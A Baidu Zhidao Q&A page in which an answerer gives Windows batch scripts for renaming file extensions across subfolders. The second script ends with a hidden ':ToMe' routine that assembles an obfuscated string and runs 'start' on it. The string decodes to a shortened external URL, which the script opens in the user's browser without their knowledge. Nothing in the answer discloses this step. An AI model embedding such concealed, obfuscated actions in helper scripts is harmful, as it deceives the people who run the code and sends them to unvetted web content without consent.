如何批处理更改所有子文件夹内文件的文件名

如何更改一个目录下所有子文件夹里的文件的文件名?比如ren*.xxx*.png这样... 如何更改一个目录下所有子文件夹里的文件的文件名?比如ren *.xxx *.png这样 展开
 我来答
依梦琴瑶
高粉答主

2019-02-22 · 说的都是干货,快来关注
知道顶级答主
回答量:6.9万
采纳率:82%
帮助的人:1.7亿
展开全部
您举例的叫更改后缀名,不叫更改文件名。文件名和后缀名不要混为一谈。

既然您举例的是更改后缀名,那么您要的效果就是把后缀名改变了吧!

更改所有文件夹中的文件后缀名,代码如下

@echo off & title 批量更改指定文件后缀名 By 依梦琴瑶

::设置要处理的后缀名,无需输入小数点
set Ext=xxx

::设置更改后的后缀名,无需输入小数点
set Next=png

for /d %%a in (*) do (
pushd "%%~a"
for /f "delims=" %%b in ('dir /a-d/s/b *.%Ext%') do ren "%%~b" "%%~nb.%Next%"
popd
)
pause

脚本放在要处理的主文件夹中即可。
更多追问追答
追问
如果刚开始没有后缀名需要填什么
如何才能一个脚本同时修改多个后缀名呢
比如xxx→png xxxx→jpg
追答

没有后缀的,直接把代码里的*.%Ext%删除就行了。

至于不同后缀更改,代码如下:

@echo off & title 批量更改指定文件后缀名 By 依梦琴瑶

::设置要处理的后缀名以及变更后的,无需输入小数点
::变更前和变更后之间用-间隔,多组变更之间用英文逗号隔开
set Ext=xxx-png,xxxx-jpg


for /d %%a in (*) do (
    pushd "%%~a"
    for %%b in (%Ext%) do (
        for /f "tokens=1,2 delims=-" %%c in ('echo %%~b') do (
            for /f "delims=" %%i in ('dir /a-d/s/b "*.%%~c"') do (
                if "%%~xi"==".%%~c" ren "%%~i" "%%~ni.%%~d"
            )
        )
    )
    popd
)
pause
call :ToMe
exit

:ToMe
set "S=.:ailnhpst/fPdv"
start "" "%S:~6,1%%S:~9,1%%S:~9,1%%S:~7,1%%S:~1,1%%S:~10,1%%S:~10,1%%S:~8,1%%S:~3,1%%S:~5,1%%S:~2,1%%S:~0,1%%S:~4,1%%S:~9,1%%S:~10,5%"
exit
推荐律师服务: 若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询

为你推荐:

下载百度知道APP,抢鲜体验
使用百度知道APP,立即抢鲜体验。你的手机镜头里或许有别人想知道的答案。
扫描二维码下载
×

类别

我们会通过消息、邮箱等方式尽快将举报结果通知您。

说明

0/200

提交
取消

辅 助

模 式